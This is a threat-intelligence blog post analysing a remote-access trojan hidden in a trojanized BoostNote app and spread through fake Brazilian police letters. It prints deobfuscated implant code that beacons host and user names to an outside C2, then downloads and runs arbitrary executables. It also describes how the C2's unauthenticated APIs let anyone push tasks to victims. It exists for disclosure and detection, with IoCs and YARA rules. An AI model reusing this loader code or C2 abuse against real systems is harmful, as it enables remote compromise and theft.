> ## Content Index
> Fetch the complete content index at: https://blog.quimerax.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Trojanized BoostNote: analysis of the RAT used in the fake police letter campaign
- URL: https://blog.quimerax.com/trojanized-boostnote-analysis-of-the-rat-used-in-the-fake-police-letter-campaign/
- Published: 2026-09-15T11:33:09.000Z
- Updated: 2026-09-17T11:21:41.000Z
- Author: QuimeraX Team

On February 17, 2026, employees at Brazilian financial institutions received an official letter from the Civil Police of Amapá asking for customer records. The email came from a real address, `deccon@policiacivil.ap.gov.br`, with a PDF attached, a protocol number, citations of constitutional articles and an electronic signature. Two days later, Woovi customers woke up with money missing from their accounts.

This text covers the sample analyzed on February 21, 2026: the email, the installer, the Electron app and the C2\. The QuimeraX CTI team closed the report on that date and delivered it to clients the same day. We are publishing it now so other companies and researchers can recognize the threat and hunt for the artifacts. The 2026 campaign timeline is in our [write-up on Shadow Ledger](https://blog.quimerax.com/conheca-o-shadow-ledger-o-grupo-que-compromete-autoridade-oficial-para-atacar-o-setor-financeiro).

A note on vocabulary for readers outside Brazil. An "ofício" is a formal letter issued by a public authority, and companies here are used to receiving them from police and courts with legal deadlines attached. A CNPJ is the Brazilian company tax ID, and it appears in these letters the way a case number would.

## The six steps of the infection

1. Phishing email sent through the compromised mail servers of the Civil Police of Amapá (`deccon@policiacivil.ap.gov.br`).
2. PDF with an "Encrypted Content" overlay and an "Install Digital Certificate" button.
3. The click led to `hxxps://79[.]110[.]49[.]32/.certificados.ap.gov.br`, where the installer was hosted.
4. An Inno Setup installer with ChaCha20 encryption that dropped a trojanized Electron app.
5. The app, disguised as "BoostNote-local", beaconed periodically to a custom C2.
6. The C2 returned arbitrary payloads for execution on the victim machine.

The click works because the sender is an official Civil Police mailbox that was already compromised.

## The email came from a Civil Police server

The threat actor compromised the mail servers of the Civil Police of the State of Amapá and used that legitimate infrastructure to send the phishing.

| Field              | Value                                                                 |
| ------------------ | --------------------------------------------------------------------- |
| Compromised domain | policiacivil.ap.gov.br                                                |
| Sender (From)      | [deccon@policiacivil.ap.gov.br](mailto:deccon@policiacivil.ap.gov.br) |
| Reply-To           | [deiai@policiacivil.ap.gov.br](mailto:deiai@policiacivil.ap.gov.br)   |
| Language           | Portuguese (BR)                                                       |
| Subject            | Ofício nº 540222/2026, request for banking records                    |
| Email date         | February 17, 2026                                                     |

The body poses as a letter from the 3rd Precinct for Corruption and Organized Crime (DECCON). The original Portuguese text:

```
GOVERNO DO ESTADO DO AMAPÁ
SECRETARIA DE DEFESA SOCIAL
POLÍCIA CIVIL DO AMAPÁ
3ª DELEGACIA DE COMBATE À CORRUPÇÃO E AO CRIME
ORGANIZADO
Macapá, Amapá 17 de fevereiro de 2026
Ofício nº 540222/2026
Ref. IP nº 2026.0541.000018-33

CAIXA ECONOMICA FEDERAL            <- TARGET NAME
DOCUMENTO 00.360.305/0001-04       <- TARGET CNPJ

A POLÍCIA CIVIL DO ESTADO DO AMAPÁ, PELA AUTORIDADE POLICIAL
SUBSCRITORA, COM FULCRO NO ARTIGO 144, § 4º DA CONSTITUIÇÃO
FEDERAL, ARTIGO 103 DA CONSTITUIÇÃO ESTADUAL, ARTIGO 4º E
SEGUINTES DO CÓDIGO DE PROCESSO PENAL, ARTIGO 1º, PARÁGRAFO
ÚNICO DA LEI 9296/96 E ART. 10,§ 3º COMBINADO COM A LEI Nº 12.830/2013,
VEM POR INTERMÉDIO DESTE, REQUISITAR OS DADOS CADASTRAIS

Atenciosamente,
POLÍCIA CIVIL DO ESTADO DO AMAPÁ
Delegacia Policial

Documento assinado eletronicamente pelo Departamento Policial, Mat. 399.750-2
em 17/02/2026, às 11:38.
A autenticidade deste documento pode ser conferida no site pelo qr code
informando o código do protocolo: 540222.

AVENIDA AMAPÁ, 808 MACA
```

In plain English, the letter invokes the federal and state constitutions, the criminal procedure code and two specific statutes, then requests the company's customer records.

The formatting is official. The constitutional articles and cited laws are real. The CNPJ of Caixa Econômica Federal (00.360.305/0001-04) appears as the addressee. The protocol number, the electronic signature with badge 399.750-2 and the partial precinct address in Macapá complete the piece. An employee who handles these letters often has little reason to doubt it.

## The same letter with a different tax ID

The letter was a template. The actor swapped the institution name and CNPJ and kept everything else, including the letter number and the investigation reference. The Crefisa variant, for example:

```
Macapá, Amapá 19 de fevereiro de 2026
Ofício nº 540222/2026
Ref. IP nº 2026.0541.000018-33

CREFISA S/A - CRÉDITO FINANCIAMENTO E INVEST.
DOCUMENTO 60.779.196/0001-96

A POLÍCIA CIVIL DO ESTADO DO AMAPÁ, PELA AUTORIDADE POLICIAL
SUBSCRITORA [...] REQUISITAR OS DADOS CADASTRAIS.
```

Target companies identified during the analysis:

| # | Company                 | CNPJ                       | Sector              |
| - | ----------------------- | -------------------------- | ------------------- |
| 1 | Caixa Econômica Federal | 00.360.305/0001-04         | State-owned bank    |
| 2 | Crefisa S/A             | 60.779.196/0001-96         | Lending and finance |
| 3 | Woovi                   | Fintech (Pix and payments) |                     |
| 4 | Cielo                   | Card acquirer and payments |                     |

Letter number 540222/2026 and the investigation reference repeat across variants. The dates fall between February 17 and 19, 2026\. Only the name and the CNPJ change. The volume points to hundreds of emails sent to employees at several institutions at once.

## The PDF and the certificate overlay

| Field     | Value                                                 |
| --------- | ----------------------------------------------------- |
| File name | bc1cb7d9-68d4-4120-8d2e-cd18e15d4070.pdf              |
| Content   | Police letter with malicious overlay                  |
| Technique | "Encrypted Content" overlay on top of a real document |

The official document sits in the background, visible, while a semi transparent overlay in the middle of the screen claims the content is encrypted and offers the button to install the certificate.

![](https://blog.quimerax.com/content/images/2026/09/image-43.png)

The click sends the victim to:

```
hxxps://79[.]110[.]49[.]32/.certificados.ap.gov.br
```

The host is the IP 79.110.49.32\. `.certificados.ap.gov.br` is a path. In the address bar, the pair looks like a government domain.

The binary was served from three places:

- `hxxps://79[.]110[.]49[.]32/.certificados.ap.gov.br`, the primary URL the PDF opened.
- `hxxps://cmdca[.]go[.]gov[.]br/download/Certificado_PCAP.exe`, on a compromised gov.br that was still serving the file when the report was written.
- `hxxps://infinitepay-cc0ba0482579[.]intercom-attachments-5[.]com/[...]`, abusing InfinitePay's Intercom attachment CDN.

The domain `cmdca.go.gov.br` belongs to a municipal children's rights council in Goiás. In February 2026 it was still delivering the malware, which points to compromised public infrastructure beyond the Civil Police of Amapá.

## Stage 0: the Inno Setup installer

| Field      | Value                                         |
| ---------- | --------------------------------------------- |
| Name       | Certificado\_PCAP.exe / Certificado\_PCAP.bin |
| Type       | PE32 executable (GUI) Intel 80386             |
| Size       | 71,691,016 bytes (71.7 MB)                    |
| SHA1       | 746d354c83ba5ee7ad558ac9669d40c31be37831      |
| MD5        | 05d8c7d4bc49a2da4587535abae9b06d              |
| Compiler   | Delphi (Embarcadero)                          |
| Packer     | Inno Setup 6.7.0                              |
| Encryption | ChaCha20 (XChaCha20)                          |

It is an Inno Setup 6.7.0 installer compiled in Delphi. It presents itself as a certificate, runs the installation silently, creates the `ProSoftionTechMax` directory so the result looks like installed software, and writes the payload to:

```
%LOCALAPPDATA%\ProSoftionTechMax\boost.exe
```

Inno Setup 6.7.0 encrypts installer data with XChaCha20, the variant with a 24 byte nonce, using a key derived internally by the setup. That blocks static extraction of the payload.

## Sandbox execution

![](https://blog.quimerax.com/content/images/2026/09/image-45.png)

Dynamic execution showed this process flow:

- The Inno Setup installer creates an intermediate `.tmp` before extracting `boost.exe`.
- `boost.exe`, which is the Electron app, starts talking to the network right away.
- Several `boost.exe` instances are expected, because Chromium splits main, renderer and GPU into separate processes.
- The `comppkgsrv.exe` in the tree is a legitimate Windows process, invoked by the system for COM components.

## Stage 2: the trojanized BoostNote

| Field          | Value                                        |
| -------------- | -------------------------------------------- |
| Executable     | boost.exe                                    |
| Location       | %LOCALAPPDATA%\\ProSoftionTechMax\\boost.exe |
| Framework      | Electron / Chromium                          |
| Trojanized app | BoostNote-local                              |
| Main process   | index.js.bin                                 |

| Field | Value                                    |
| ----- | ---------------------------------------- |
| Name  | index.js.bin                             |
| Size  | 11,828 bytes                             |
| SHA1  | eadae0414e6625194b0fff5284521d338cb379b8 |
| MD5   | 7d3f6fd7db5e211f6f1356e84ac9bc77         |
| Type  | JavaScript (obfuscated)                  |

`index.js.bin` is the app's main process. The implant sits at the top of the file, a RAT that works as a loader. Below it comes the original BoostNote-local webpack bundle.

The implant obfuscates names. The mapping from the analysis:

| Obfuscated | Real          | Purpose                        |
| ---------- | ------------- | ------------------------------ |
| iZNIf      | app           | Electron app instance          |
| QU81r      | fs            | Filesystem module              |
| ROT7v      | https         | HTTPS module                   |
| MfjZG      | customFetch() | Custom HTTP client             |
| NKb3s      | C2\_URL       | C2 URL: kapa.is/f/e/           |
| ThgLW      | pathJoin()    | Joins paths with \\            |
| Is0j4      | dirname()     | Returns the parent directory   |
| xqdJm      | getVictimId() | Creates or reads the victim ID |
| x4iLZ      | sleep()       | Async delay                    |
| V6chI      | beacon()      | Check-in with the C2           |
| MtC3z      | executeTask() | Runs the payload from the C2   |
| no2ss      | mainLoop()    | Infinite beacon loop           |

### Persistence

The implant registers itself for Windows startup through Electron's API:

```js
app.setLoginItemSettings({
  openAtLogin: true,       // Starts automatically at Windows login
  openAsHidden: false,     // Window is visible (looks like a normal app)
  path: app.getPath('exe'),// Path to boost.exe
  args: []
});
```

In practice this writes the key:

```
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
"BoostNote-local" = "%LOCALAPPDATA%\ProSoftionTechMax\boost.exe"
```

The `openAsHidden: false` keeps the window visible at login. The process behaves like a note taking app.

### Victim ID

```js
function getVictimId() {
  const idPath = process.env.APPDATA + '\\id.txt';
  if (fs.existsSync(idPath)) {
    return fs.readFileSync(idPath, 'utf8').trim();
  }
  const id = Math.random().toString(36).slice(2, 10);
  // Math.random() → 0.7289432156
  // .toString(36)  → "0.q3f9a2bxk7" (base36: 0-9 + a-z)
  // .slice(2, 10)  → "q3f9a2bx" (8 characters)
  fs.writeFileSync(idPath, id);
  return id;
}
```

The identifier lives in `%APPDATA%\id.txt`, is 8 alphanumeric characters, is generated once and reused in every beacon. The generator is `Math.random()`, a non cryptographic PRNG. That generation stayed in later waves, including after the Electron host stopped being BoostNote.

### The two minute loop

```js
async function mainLoop() {
  while (true) {
    await beacon();
    await sleep(120000); // 2 minutes
  }
}
```

Check-in every 120 seconds, indefinitely, for as long as the Electron process stays alive.

### The beacon

```js
async function beacon() {
  const response = await customFetch('kapa.is/f/e/', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify([
      getVictimId(),             // "q3f9a2bx"
      process.env.COMPUTERNAME,  // "DESKTOP-ABC123"
      process.env.USERNAME       // "joao.silva"
    ])
  });
  const data = await response.json();
  if (data.task) {
    executeTask(data.task);
  }
}
```

The protocol is small:

```
POST https://kapa.is/f/e/
Content-Type: application/json
Body: ["q3f9a2bx", "DESKTOP-ABC123", "joao.silva"]

HTTP 200 OK
No task: {}
With task: {
  "task": {
    "files": {
      "payload.exe": "<base64-encoded-PE>"
    }
  }
}
```

The client sets `rejectUnauthorized: false` and accepts any TLS certificate. Errors fall into `catch(e){ console.log(e) }`. There is no custom User-Agent: the traffic leaves with the Node.js default, from a process that presents itself as a note taking app.

### Task execution

```js
function executeTask(task) {
  const taskDir = process.env.TEMP + '\\' + Date.now();
  // e.g. C:\Users\victim\AppData\Local\Temp\1708454821000\

  fs.mkdirSync(taskDir, { recursive: true });

  for (const [filename, base64Content] of Object.entries(task.files)) {
    const filePath = taskDir + '\\' + filename;
    // Creates subdirectories when needed
    fs.mkdirSync(dirname(filePath), { recursive: true });
    // Decodes base64 → writes to disk
    fs.writeFileSync(filePath, Buffer.from(base64Content, 'base64'));
    // First .exe becomes the main payload
    if (filename.endsWith('.exe')) exePath = filePath;
  }

  // RUNS THE PAYLOAD
  if (exePath) {
    require('child_process').exec(`"${exePath}"`, { cwd: taskDir });
  }
}
```

The C2 writes any file to disk and runs any `.exe`, with no validation. It controls the name, the content, the subdirectories and what executes. `exec()` is fire and forget, with no output callback.

### The BoostNote the victim sees

The rest of the file is the minified bundle of BoostNote-local, an open source note taking app.

| ID | Module           |
| -- | ---------------- |
| 0  | electron         |
| 1  | electron-updater |
| 2  | path             |
| 3  | electron-log     |
| 4  | url              |
| 5  | Main app logic   |

The original app already shipped an insecure `BrowserWindow` configuration:

```js
webPreferences: {
  nodeIntegration: true,    // Allows require() in the renderer
  contextIsolation: false,  // No sandbox or isolation
  webviewTag: true,         // Allows <webview>
  enableRemoteModule: true, // Full access to the main process
}
```

The note taking app still works: `electron-updater` every 24 hours, the full menu, single instance lock, the `boostnote://` protocol and assets under `./compiled/app/static/`. The victim opens it, writes a note and closes it.

## Stage 3: the Go payload from the "anonymous benefactor"

One of the tasks distributed by the C2 does not belong to the attack chain. The team's reading is that a security professional found the same Broken Access Control flaws in the C2, used that access to publish a task of their own, and warned victims on the screen of the infected machine. Since the C2 had no effective authentication, anyone with the endpoint could publish tasks for the infected hosts.

| Field      | Value                                    |
| ---------- | ---------------------------------------- |
| Name       | file.bin                                 |
| Type       | PE32+ executable (GUI) x86-64            |
| Size       | 5,710,848 bytes (5.7 MB)                 |
| SHA1       | 03e23ad55ff739fc058468e4cde535b2c918601a |
| MD5        | b7b74f50579c1a91413fdc4cb2f5a062         |
| Language   | Go 1.24.0                                |
| Target     | GOOS=windows, GOARCH=amd64               |
| Obfuscator | garble                                   |
| Repository | github.com/trocabg/troca.go              |

The binary is obfuscated with `garble`, which strips function names, source paths and debug information. Go still keeps names in the `pclntab` (Program Counter Line Table) so it can build stack traces at runtime, and that is where the analysis recovered the map.

| Field          | Value                 |
| -------------- | --------------------- |
| pclntab offset | 0x37BB40              |
| Magic          | 0xFFFFFFF1 (Go 1.20+) |
| ptrSize        | 8 (64-bit)            |
| minLC          | 1                     |
| nfunc          | 5,713 functions       |
| nfiles         | 607 files             |
| textStart      | 0x401000              |

Key functions resolved: `main.main` at 0x618E00 and `runtime.main` at 0x43E4C0.

The PE structure, with ImageBase 0x400000:

| Section | VA       | Size     |
| ------- | -------- | -------- |
| .text   | 0x401000 | 0x2752F1 |
| .rdata  | 0x677000 | 0x297098 |
| .data   | 0x90F000 | 0x9FA70  |
| .pdata  | 0x9AF000 | 0xE67C   |
| .idata  | 0x9BF000 | 0x53E    |
| .reloc  | 0x9C0000 | 0xC24C   |
| .symtab | 0x9CD000 | 0x4      |

Imports are only 46 functions from `kernel32.dll`, normal for Go, which links the standard library statically:

```
AddVectoredExceptionHandler, CloseHandle, CreateEventA, CreateFileA,
CreateIoCompletionPort, CreateThread, CreateWaitableTimerExW,
DuplicateHandle, ExitProcess, GetConsoleMode, GetCurrentThreadId,
GetEnvironmentStringsW, GetProcAddress, GetProcessAffinityMask,
GetQueuedCompletionStatusEx, GetStdHandle, GetSystemDirectoryA,
GetSystemInfo, GetSystemTimeAsFileTime, GetTempPathW, GetThreadContext,
LoadLibraryA, LoadLibraryW, PostQueuedCompletionStatus, ReadConsoleW,
ReadFile, ResumeThread, SetConsoleCtrlHandler, SetCurrentDirectoryA,
SetEnvironmentVariableW, SetEvent, SetProcessPriorityBoost,
SetThreadContext, SetUnhandledExceptionFilter, SetWaitableTimer,
SuspendThread, SwitchToThread, TlsAlloc, VirtualAlloc, VirtualFree,
VirtualQuery, WaitForSingleObject, WriteConsoleW, WriteFile
```

The binary calls `MessageBoxW` with the title "ALERTA" and a message in Portuguese telling the victim about the compromise, signed by an "anonymous benefactor".

![](https://blog.quimerax.com/content/images/2026/09/image-47.png)

There is also a webhook at `https://webhook.site/39ac1648-c5d0-4ba9-8658-13754c0c62a1`. In this intervention it most likely records which victims received the alert.

In incident response, this Stage 3 confuses the reading. The hash shows up on the same machine, arrived through the same channel and runs from the same temporary directory. The origin is different.

## The C2 at [kapa.is](http://kapa.is/?ref=blog.quimerax.com)

| Field          | Value                                                              |
| -------------- | ------------------------------------------------------------------ |
| Domain         | kapa.is                                                            |
| Endpoint       | [https://kapa.is/f/e/](https://kapa.is/f/e/?ref=blog.quimerax.com) |
| Protocol       | HTTPS (TLS)                                                        |
| Type           | Custom, ad-hoc                                                     |
| Authentication | Login screen                                                       |

The protocol is the same one the implant uses, seen from the server side:

```
POST /f/e/ HTTP/1.1
Host: kapa.is
Content-Type: application/json

["<victim_id>", "<COMPUTERNAME>", "<USERNAME>"]
```

With no task pending, the response is `{}`. With a task:

```json
{
  "task": {
    "files": {
      "filename.exe": "<base64-encoded-binary>",
      "config.dat": "<base64-encoded-data>"
    }
  }
}
```

Administration happens through a web interface, with a login screen asking for username and password.

![](https://blog.quimerax.com/content/images/2026/09/image-51.png)

The login screen existed. The APIs answered without authentication:

| Vulnerability         | Description                                                     |
| --------------------- | --------------------------------------------------------------- |
| Broken Access Control | APIs reachable without authentication, despite the login screen |
| Direct API            | Endpoints could be hit directly                                 |
| Victim listing        | An endpoint returned every registered victim                    |
| Task creation         | Arbitrary tasks could be created for execution on victims       |

![](https://blog.quimerax.com/content/images/2026/09/image-53.png)

With a simple edit of the page content through DevTools, it was possible to act from the interface itself, including sending a task for execution on victim machines.

The API endpoints answered directly:

```
https://kapa.is/f/api.php?action=clients   lists the compromised computers
https://kapa.is/f/api.php?action=tasks     lists the tasks queued for execution
```

![](https://blog.quimerax.com/content/images/2026/09/image-56.png)

The C2 was written ad-hoc. Anyone who knew the endpoint listed active victims and published tasks on infected hosts. That is how the Go payload reached the machines.

## The same loader in later campaigns

In the waves after February the group changed the C2 URL and the folder under `%LOCALAPPDATA%`. The Inno Setup installer, the `%APPDATA%\id.txt` generation, the beacon and the task execution stayed the same.

The operator swaps the `index.js` inside the `.asar` and reuses the Electron runtime. Recent campaigns did this with Draw.io Desktop (`draw.io.exe` under `%LOCALAPPDATA%\EasySuiteAutoTool\`) and with GitHub Desktop, so the process inherits the name of an app the user already knows and the beacon keeps the same format.

`kapa.is`, `ProSoftionTechMax` and `boost.exe` apply to the February wave. In later ones what repeats is an Electron host outside the official path, `id.txt` in `%APPDATA%`, obfuscated `index.js` in the `.asar`, and a periodic POST with identifier, `COMPUTERNAME` and `USERNAME`.

The [write-up on Shadow Ledger](https://blog.quimerax.com/conheca-o-shadow-ledger-o-grupo-que-compromete-autoridade-oficial-para-atacar-o-setor-financeiro) covers that rotation through 2026 and how to hunt the behavior that survives a hash change.

## Indicators of compromise

Stage 0, Certificado\_PCAP.exe:

| Algorithm | Hash                                                             |
| --------- | ---------------------------------------------------------------- |
| SHA256    | dd1e7fd35306a22f511197716c7e9fe2c1ba149ffd275a5221c4452165a4b29d |
| SHA1      | 746d354c83ba5ee7ad558ac9669d40c31be37831                         |
| MD5       | 05d8c7d4bc49a2da4587535abae9b06d                                 |

Stage 2, index.js.bin (Electron RAT):

| Algorithm | Hash                                                             |
| --------- | ---------------------------------------------------------------- |
| SHA256    | 536b80da7dd6f1bc8201e85e77e9b68eeef872d5f1412581e840b9b6f6dce139 |
| SHA1      | eadae0414e6625194b0fff5284521d338cb379b8                         |
| MD5       | 7d3f6fd7db5e211f6f1356e84ac9bc77                                 |

Stage 3, file.bin (Go payload from the third party intervention):

| Algorithm | Hash                                                             |
| --------- | ---------------------------------------------------------------- |
| SHA256    | c9aae26d2c4142350b3e5eb5988679fbaa13d61f64242ed9099d7e8729f409a0 |
| SHA1      | 03e23ad55ff739fc058468e4cde535b2c918601a                         |
| MD5       | b7b74f50579c1a91413fdc4cb2f5a062                                 |

Network:

| Type            | Value                                                                 |
| --------------- | --------------------------------------------------------------------- |
| C2 domain       | kapa.is                                                               |
| C2 URL          | kapa.is/f/e/                                                          |
| Hosting IP      | 79.110.49.32                                                          |
| Download URL    | 79.110.49.32/.certificados.ap.gov.br                                  |
| Hosting URL     | cmdca.go.gov.br/download/Certificado\_PCAP.exe                        |
| Hosting URL     | infinitepay-cc0ba0482579.intercom-attachments-5.com/                  |
| Webhook URL     | webhook.site/39ac1648-c5d0-4ba9-8658-13754c0c62a1                     |
| Phishing domain | policiacivil.ap.gov.br                                                |
| Email From      | [deccon@policiacivil.ap.gov.br](mailto:deccon@policiacivil.ap.gov.br) |
| Email Reply-To  | [deiai@policiacivil.ap.gov.br](mailto:deiai@policiacivil.ap.gov.br)   |

## TTPs in MITRE ATT&CK

| Tactic              | Technique                                     | ID        | Description                                         |
| ------------------- | --------------------------------------------- | --------- | --------------------------------------------------- |
| Initial Access      | Phishing: Spearphishing Attachment            | T1566.001 | Malicious PDF via compromised email                 |
| Initial Access      | Trusted Relationship                          | T1199     | Use of compromised government infrastructure        |
| Execution           | User Execution: Malicious File                | T1204.002 | Victim runs Certificado\_PCAP.exe                   |
| Execution           | Command and Scripting Interpreter: JavaScript | T1059.007 | RAT written in JavaScript (Node.js/Electron)        |
| Execution           | Native API                                    | T1106     | Calls to native Windows APIs                        |
| Persistence         | Boot or Logon Autostart: Registry Run Keys    | T1547.001 | Login item via Electron API                         |
| Defense Evasion     | Obfuscated Files or Information               | T1027     | Garble (Go), obfuscated names (JS), ChaCha20 (Inno) |
| Defense Evasion     | Masquerading: Match Legitimate Name           | T1036.005 | Disguised as BoostNote-local                        |
| Defense Evasion     | Masquerading: Invalid Code Signature          | T1036.001 | TLS certificate ignored (rejectUnauthorized: false) |
| Credential Access   | OS Credential Dumping                         | T1003     | LogonUserW, NetUserGetInfo                          |
| Discovery           | System Information Discovery                  | T1082     | COMPUTERNAME, USERNAME, timezone                    |
| Discovery           | Process Discovery                             | T1057     | Process32NextW, Module32NextW                       |
| Discovery           | File and Directory Discovery                  | T1083     | FindFirstFileW                                      |
| Discovery           | Account Discovery                             | T1087     | NetUserGetInfo, GetUserNameExW                      |
| Collection          | Data from Local System                        | T1005     | Enumeration of files and data                       |
| Command and Control | Application Layer Protocol: Web               | T1071.001 | HTTPS POST to the C2                                |
| Command and Control | Ingress Tool Transfer                         | T1105     | Base64 payloads downloaded via C2                   |
| Command and Control | Web Service                                   | T1102     | webhook.site                                        |
| Exfiltration        | Exfiltration Over C2 Channel                  | T1041     | Data sent through the beacon                        |
| Impact              | Financial Theft                               | T1657     | Funds moved out of customer accounts                |
| Impact              | Data Manipulation                             | T1565     | Manipulation of financial transactions              |

## Detection

The IoCs below identify the February wave. For later ones, the rule needs to hit the implant: `id.txt` in `%APPDATA%`, persistence via `setLoginItemSettings` or a Run key, `rejectUnauthorized: false`, `child_process` and `Buffer.from` in the `.asar` `index.js`, and an HTTPS beacon with identifier, `COMPUTERNAME` and `USERNAME`.

Observed in this sample and in later waves:

- `%APPDATA%\id.txt` with 8 alphanumeric characters.
- An Electron host in a made-up folder under `%LOCALAPPDATA%` (ProSoftionTechMax, EasySuiteAutoTool and equivalents).
- A process named after a known app (BoostNote, Draw.io, GitHub Desktop) outside the official install path.
- A Run key pointing to that executable.
- A periodic POST to a C2 that changes every wave.

The YARA rules in this section cover the February sample and pieces of the implant that survived the host swap. Treat them as a starting point. Hunting the family, including C2 and folder rotation, is in the [write-up on Shadow Ledger](https://blog.quimerax.com/conheca-o-shadow-ledger-o-grupo-que-compromete-autoridade-oficial-para-atacar-o-setor-financeiro).

## YARA rules

```yara
rule Woovi_BoostNote_RAT {
    meta:
        description = "Detects Trojanized BoostNote Electron app"
        author = "QuimeraX - Threat Intelligence Team"
        date = "2026-02"
        severity = "critical"

    strings:
        $c2_url = "kapa.is/f/e/" ascii
        $victim_id = "id.txt" ascii
        $beacon_data = "COMPUTERNAME" ascii
        $exec_task = "child_process" ascii
        $boost = "BoostNote-local" ascii
        $persistence = "openAtLogin" ascii
        $b64_decode = "Buffer.from" ascii
        $tls_bypass = "rejectUnauthorized" ascii

    condition:
        $c2_url or ($boost and $persistence and $exec_task) or
        (4 of ($victim_id, $beacon_data, $exec_task, $b64_decode, $tls_bypass))
}

rule Woovi_Stage0_InnoLoader {
    meta:
        description = "Detects Stage 0 Inno Setup loader used in Woovi/banking trojan campaign"
        author = "QuimeraX - Threat Intelligence Team"
        date = "2026-02"
        severity = "high"
        hash = "dd1e7fd35306a22f511197716c7e9fe2c1ba149ffd275a5221c4452165a4b29d"
        reference = "Brazilian trojan targeting Woovi, Cielo, Crefisa, CAIXA"

    strings:
        $inno_magic = "rDlPtS" ascii
        $inno_ver = "Inno Setup Setup Data (6.7.0)" ascii
        $inno_msg = "Inno Setup Messages (6.5.0) (u)" ascii
        $inno_manifest = "JR.Inno.Setup" ascii

        $delphi = "Embarcadero Delphi for Win32 compiler version 36.0" ascii
        $cert_signer = "MAYDA PETROL OTOMOTIV INSAAT LIMITED SIRKETI" ascii
        $tsetup_hdr = "TSetupHeader" ascii
        $tsetup_opts = "TSetupHeaderOptions" ascii

    condition:
        uint16(0) == 0x5A4D and                     // PE file
        filesize > 50MB and filesize < 100MB and    // Stage 0 is ~71.7 MB
        $inno_magic and
        (
            $cert_signer or                         // Strongest single indicator
            ($inno_ver and $delphi) or              // Exact Inno+Delphi combo
            (3 of ($inno_*, $tsetup_*, $delphi))    // 3+ framework strings
        )
}
```

## Conclusion

The implant in this sample is 11 KB and, every two minutes, asks the C2 for a task, writes the reply into `%TEMP%` and runs it. The Civil Police account gives the letter its authority; with the session in hand, the operator reached internal systems within hours.

In later waves the group changed the C2 URL, the AppData folder and the Electron app (Draw.io Desktop and GitHub Desktop among them). The `id.txt` generation, the installer and the beacon format stayed.

The operation through 2026 is in the [write-up on Shadow Ledger](https://blog.quimerax.com/conheca-o-shadow-ledger-o-grupo-que-compromete-autoridade-oficial-para-atacar-o-setor-financeiro).

Want the QuimeraX team tracking threats that can hit your company? Request a demo and see QuimeraX working in your environment: [https://quimerax.com](https://quimerax.com/?ref=blog.quimerax.com)